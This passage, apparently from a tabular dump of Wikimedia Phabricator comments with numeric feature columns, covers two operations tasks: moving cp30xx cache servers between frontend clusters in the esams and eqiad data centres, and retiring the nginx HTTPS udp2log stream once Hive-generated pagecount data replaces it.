Final net config: 16 hosts: 12x old cp30xx (with larger disks), 4x new cp30xx

Mobile cluster:
------------------
loses cp3011-cp3014 (all of current capacity) to the new text cluster
gains cp3015-cp3018 (4/12 of current upload cluster)
Final net config: 4 hosts: all old cp30xx (with smaller disks)

Upload cluster:
------------------
loses all 12x current capacity to text/mobile (cp3003-cp3010,cp3015-cp3018)
gains 16/20 of the new systems (any of cp3030 - cp3049)
Final net config: 16 hosts, all new cp30xx

Bits cluster:
---------------
Unchanged",,,1426270996,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-16,True,3.3333333333333335,0.0,0.0,0.0,0.0,10.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,18.333333333333332,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,3.3333333333333335,0.0,0.3333333333333333,5.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,6.0,5.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,3.928534167970788,0.6446922274387062,"(apparently disks already arrived in esams!)

esams cluster re-arrangement details:

Text cluster:
------------------
loses decommed amssq* (all of current capacity)
gains cp3003-cp3010 (8/12 of current upload cluster)
gains cp3011-cp3014 (all of current mobile cluster, which need new ethernet cards, and 3011 is currently dead with a hardware fault)
gains 4/20 of the new systems (any of cp3030 - cp3049)
Final net config: 16 hosts: 12x old cp30xx (with larger disks), 4x new cp30xx

Mobile cluster:
------------------
loses cp3011-cp3014 (all of current capacity) to the new text cluster
gains cp3015-cp3018 (4/12 of current upload cluster)
Final net config: 4 hosts: all old cp30xx (with smaller disks)

Upload cluster:
------------------
loses all 12x current capacity to text/mobile (cp3003-cp3010,cp3015-cp3018)
gains 16/20 of the new systems (any of cp3030 - cp3049)
Final net config: 16 hosts, all new cp30xx

Bits cluster:
---------------
Unchanged"
426114,Expand HTTP frontend clusters with new hardware,"(apparently disks already arrived in esams!)

esams cluster re-arrangement details:

Text cluster:
------------------
loses decommed amssq* (all of current capacity)
gains cp3003-cp3010 (8/12 of current upload cluster)
gains cp3011-cp3014 (all of current mobile cluster, which need new ethernet cards, and 3011 is currently dead with a hardware fault)
gains 4/20 of the new systems (any of cp3030 - cp3049)

Mobile cluster:
------------------
loses cp3011-cp3014 (all of current capacity) to the new text cluster
gains cp3015-cp3018 (4/12 of current upload cluster)

Upload cluster:
------------------
loses all 12x current capacity to text/mobile (cp3003-cp3010,cp3015-cp3018)
gains 16/20 of the new systems (any of cp3030 - cp3049)

Bits cluster:
---------------
Unchanged",,,1426270492,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-16,True,3.5,0.0,0.0,0.0,0.0,7.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,7.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,3.0,0.0,0.5,6.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,7.5,5.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.114099254159495,0.556368330464716,"(apparently disks already arrived in esams!)

esams cluster re-arrangement details:

Text cluster:
------------------
loses decommed amssq* (all of current capacity)
gains cp3003-cp3010 (8/12 of current upload cluster)
gains cp3011-cp3014 (all of current mobile cluster, which need new ethernet cards, and 3011 is currently dead with a hardware fault)
gains 4/20 of the new systems (any of cp3030 - cp3049)

Mobile cluster:
------------------
loses cp3011-cp3014 (all of current capacity) to the new text cluster
gains cp3015-cp3018 (4/12 of current upload cluster)

Upload cluster:
------------------
loses all 12x current capacity to text/mobile (cp3003-cp3010,cp3015-cp3018)
gains 16/20 of the new systems (any of cp3030 - cp3049)

Bits cluster:
---------------
Unchanged"
425828,Expand HTTP frontend clusters with new hardware,"The new eqiad hardware is fully up and pooled for prod traffic.
Still waiting on esams hardware to arrive circa Mar 17.
esams deployment will be a little more complex, as mark needs to move some things around between racks as we decom amssq* and install the 24 new boxes (and we need to migrate the existing cp30xx to different clusters than they're currently in).  Depending on the final physical layout, we'll have to decide which servers to install/migrate in what order to keep capacity up throughout the process.  It's possible we may have to depool esams traffic to get through some portion of this, but I hope not.",,,1426228726,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-16,True,1.5,0.0,0.5,0.0,1.0,5.0,0.5,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,3.5,0.0,4.5,15.5,0.0,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.5,0.0,4.5,1.5,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,1.0,4.0,0.0,2.5,7.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,5.0,15.5,3.0,0.0,0.0,0.0,5.0,0.0,1.5,0.5,0.0,2.0,0.5,0.0,0.0,3.9923076923076923,0.8061298076923077,"The new eqiad hardware is fully up and pooled for prod traffic.
Still waiting on esams hardware to arrive circa Mar 17.
esams deployment will be a little more complex, as mark needs to move some things around between racks as we decom amssq* and install the 24 new boxes (and we need to migrate the existing cp30xx to different clusters than they're currently in).  Depending on the final physical layout, we'll have to decide which servers to install/migrate in what order to keep capacity up throughout the process.  It's possible we may have to depool esams traffic to get through some portion of this, but I hope not."
422387,Expand HTTP frontend clusters with new hardware,"eqiad hardware expected to be racked, cabled, and available for software install circa Wed/Thurs of next week (11th or 12th).",,,1425673384,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.925925925925926,0.9629629629629629,"eqiad hardware expected to be racked, cabled, and available for software install circa Wed/Thurs of next week (11th or 12th)."
419179,Expand HTTP frontend clusters with new hardware,"Update: Orders have been placed for all of the new servers in esams + eqiad.  eqiad hardware has already arrived, and esams is due by Mar 17th (for the disks, Mar 11th for the servers) according to the vendor.",,,1425310571,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-18,True,2.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6382978723404253,0.7659574468085106,"Update: Orders have been placed for all of the new servers in esams + eqiad.  eqiad hardware has already arrived, and esams is due by Mar 17th (for the disks, Mar 11th for the servers) according to the vendor."
86656,Deprecate HTTPS udp2log stream?,"Our nginx TLS terminators are currently patched with a custom-written patch that adds udp2log logging support.

This is unmaintained, buggy (e.g. with regards to sequence number generation) and needs porting to each newer nginx version (and requires us to ship custom packages).

I remember hacking on it and fixing some bugs my second week at the foundation and people telling me to let it go as it was going away ""soon"".  Almost three years ago have passed and we still have it, for reasons that still aren't clear to many people including myself.

We're moving to a much newer nginx version (1.6.x looks like) very soon, so it'd be nice to either deprecate the stream entirely, or falling to do that, properly architecture it and assign it a maintainer. This conversation is a blocker for a couple of quarterly goals for #ops so we should figure this out very soon.",High,80.0,1421158729,1422554389.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_description,resolved,True,c3,1,True,True,True,-25,True,2.0,0.0,1.5,0.5,0.5,5.5,2.0,0.0,0.0,0.0,1.0,1.5,0.0,0.5,0.0,4.5,0.0,9.0,11.0,0.0,2.0,0.5,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,1.5,6.5,1.0,3.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,1.0,0.5,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.5,0.0,0.5,0.0,1.0,0.5,4.0,3.0,3.5,1.0,4.0,7.0,0.0,0.0,0.0,0.5,5.0,0.0,1.0,0.0,8.5,11.0,0.5,0.0,1.0,0.0,8.5,0.0,1.0,2.5,1.5,4.5,1.0,0.0,0.0,4.032833957553059,0.7707240948813983,"Our nginx TLS terminators are currently patched with a custom-written patch that adds udp2log logging support.

This is unmaintained, buggy (e.g. with regards to sequence number generation) and needs porting to each newer nginx version (and requires us to ship custom packages).

I remember hacking on it and fixing some bugs my second week at the foundation and people telling me to let it go as it was going away ""soon"".  Almost three years ago have passed and we still have it, for reasons that still aren't clear to many people including myself.

We're moving to a much newer nginx version (1.6.x looks like) very soon, so it'd be nice to either deprecate the stream entirely, or falling to do that, properly architecture it and assign it a maintainer. This conversation is a blocker for a couple of quarterly goals for #ops so we should figure this out very soon."
404405,Deprecate HTTPS udp2log stream?,\o/,,,1422554389,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,\o/
404393,Deprecate HTTPS udp2log stream?,nginx udp2log is off and nginx configs have been reloaded: https://gerrit.wikimedia.org/r/#/c/186257/,,,1422553391,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9166666666666666,nginx udp2log is off and nginx configs have been reloaded: URL
404378,Deprecate HTTPS udp2log stream?,"Looking GOOD!  Brandon, you may turn of nginx udp2log! :) ",,,1422551353,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.4285714285714284,0.9285714285714286,"Looking GOOD!  Brandon, you may turn of nginx udp2log! :) "
404361,Deprecate HTTPS udp2log stream?,">>! In T86656#999773, @Ottomata wrote:
> The data is still being backfilled in hadoop.

Done.

",,,1422545744,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,0.7142857142857143,"QUOTE
QUOTE

Done.

"
404140,Deprecate HTTPS udp2log stream?,"Update:  the Hive generated pagecounts-raw data is now being copied every hour from HDFS to dumps.wikimedia.org.

The data is still being backfilled in hadoop.  Once all backfill jobs are done, I will decomission webstatscollector, and we should be able to turn off nginx udp2logs.  I'll check back on the jobs tomorrow and update.",,,1422486026,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-23,True,3.0,0.0,0.0,4.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,6.0,9.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.17910447761194,0.7910447761194029,"Update:  the Hive generated pagecounts-raw data is now being copied every hour from HDFS to dumps.wikimedia.org.

The data is still being backfilled in hadoop.  Once all backfill jobs are done, I will decomission webstatscollector, and we should be able to turn off nginx udp2logs.  I'll check back on the jobs tomorrow and update."
404115,Deprecate HTTPS udp2log stream?,"Change 187168 merged by Ottomata:
Copy pagecounts-raw dataset from stat1002 hdfs-archive (data generated by Hive) to dumps.wikimedia.org

[[https://gerrit.wikimedia.org/r/187168]]",,,1422483210,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.419354838709677,0.8709677419354839,"Change 187168 merged by Ottomata:
Copy pagecounts-raw dataset from stat1002 hdfs-archive (data generated by Hive) to dumps.wikimedia.org

[[GERRIT_URL]]"
404033,Deprecate HTTPS udp2log stream?,"Change 187168 had a related patch set uploaded (by Ottomata):
Copy pagecounts-raw dataset from stat1002 hdfs-archive (data generated by Hive) to dumps.wikimedia.org

[[https://gerrit.wikimedia.org/r/187168]]

#patch-for-review",,,1422476083,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,4.068181818181818,0.7954545454545454,"Change 187168 had a related patch set uploaded (by Ottomata):
Copy pagecounts-raw dataset from stat1002 hdfs-archive (data generated by Hive) to dumps.wikimedia.org

[[GERRIT_URL]]

#patch-for-review"
403952,Deprecate HTTPS udp2log stream?,"So, in udp2log, the https and the duplicated proxied http request both exist.  That means that a any given https request will have 2 entries in the logs.  The webstatscollector code chooses to use the nginx log line, and throws away the varnish log line.  By removing nginx from the webrequest udp2log stream, webstatscollector will no longer count any https requests.

Since I'm going on vacation next week, Christian and I are making deprecating webstatscollector priority number one this week.",,,1422470495,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-23,True,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,1.0,4.0,8.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,25.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,8.0,2.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,8.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,4.364583333333333,0.6770833333333334,"So, in udp2log, the https and the duplicated proxied http request both exist.  That means that a any given https request will have 2 entries in the logs.  The webstatscollector code chooses to use the nginx log line, and throws away the varnish log line.  By removing nginx from the webrequest udp2log stream, webstatscollector will no longer count any https requests.

Since I'm going on vacation next week, Christian and I are making deprecating webstatscollector priority number one this week."
403944,Deprecate HTTPS udp2log stream?,"Are they? So are these just counting the X% of requests that come via HTTPS, where X is < 5 probably (and also a biased sample, as this is predominantly editors)?",,,1422470120,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,5.0,11.0,14.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,3.0,5.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,3.0,3.5675675675675675,0.918918918918919,"Are they? So are these just counting the X% of requests that come via HTTPS, where X is < 5 probably (and also a biased sample, as this is predominantly editors)?"
403942,Deprecate HTTPS udp2log stream?,"FYI, the pagecounts-raw files found at dumps.wikimedia.org/other/pagecounts-raw/ use the nginx logs.  We and are now recreating this data using Hive via varnishkafka.  Christian and I have a role out plan to get the newly generated files to dumps.wikimedia.org.  This will require a small announcement to the analytics public list, as well as some hacking on some scripts that are currently used to copy these files from webstatscollector to dataset1001.",,,1422469966,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-23,True,2.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,6.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,19.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,8.0,2.0,8.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,14.0,6.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,4.0,0.0,0.0,0.0,4.825,0.75,"FYI, the pagecounts-raw files found at dumps.wikimedia.org/other/pagecounts-raw/ use the nginx logs.  We and are now recreating this data using Hive via varnishkafka.  Christian and I have a role out plan to get the newly generated files to dumps.wikimedia.org.  This will require a small announcement to the analytics public list, as well as some hacking on some scripts that are currently used to copy these files from webstatscollector to dataset1001."
403076,Deprecate HTTPS udp2log stream?,Yep; Erik's answer is enough. My comment was merely an aside.,,,1422217152,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9333333333333333,Yep; Erik's answer is enough. My comment was merely an aside.
403074,Deprecate HTTPS udp2log stream?,"If you're talking about 1:1000 sampled text logs, these are immensely useful for day to day operations. But let's keep this on-topic, we can discuss this further in a separate task if you want.",,,1422216557,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,5.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8095238095238093,0.8809523809523809,"If you're talking about 1:1000 sampled text logs, these are immensely useful for day to day operations. But let's keep this on-topic, we can discuss this further in a separate task if you want."
403049,Deprecate HTTPS udp2log stream?,"The sampled logs are used for about 15 monthly and quarterly reports, for which replacement is still in the 'someday, somehow by someone' phase. 

http://stats.wikimedia.org/wikimedia/squids/SquidReportsCountriesLanguagesVisitsEdits.htm
http://stats.wikimedia.org/cgi-bin/search_portal.pl?search=breakdown+of+traffic
 ",,,1422192821,,PHID-USER-m5uwh66djeylkim5chfe,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0.0,3.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8823529411764706,0.8823529411764706,"The sampled logs are used for about 15 monthly and quarterly reports, for which replacement is still in the 'someday, somehow by someone' phase. 

URL
URL
 "
403024,Deprecate HTTPS udp2log stream?,"Seems sensible.

(Out of interest, as part of the ticket-that-must-not-be-named, do we want to also stop generating the sampled logs altogether? Are we using them for anything now?)",,,1422158924,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,15.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,15.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,3.369565217391304,0.8043478260869565,"Seems sensible.

(Out of interest, as part of the ticket-that-must-not-be-named, do we want to also stop generating the sampled logs altogether? Are we using them for anything now?)"
402986,Deprecate HTTPS udp2log stream?,"Otto, Oliver, Erik -- This is a heads-up that these log messages are going away. My understanding was that we were using them to count HTTPS requests but we use a different mechanism on Hadoop.

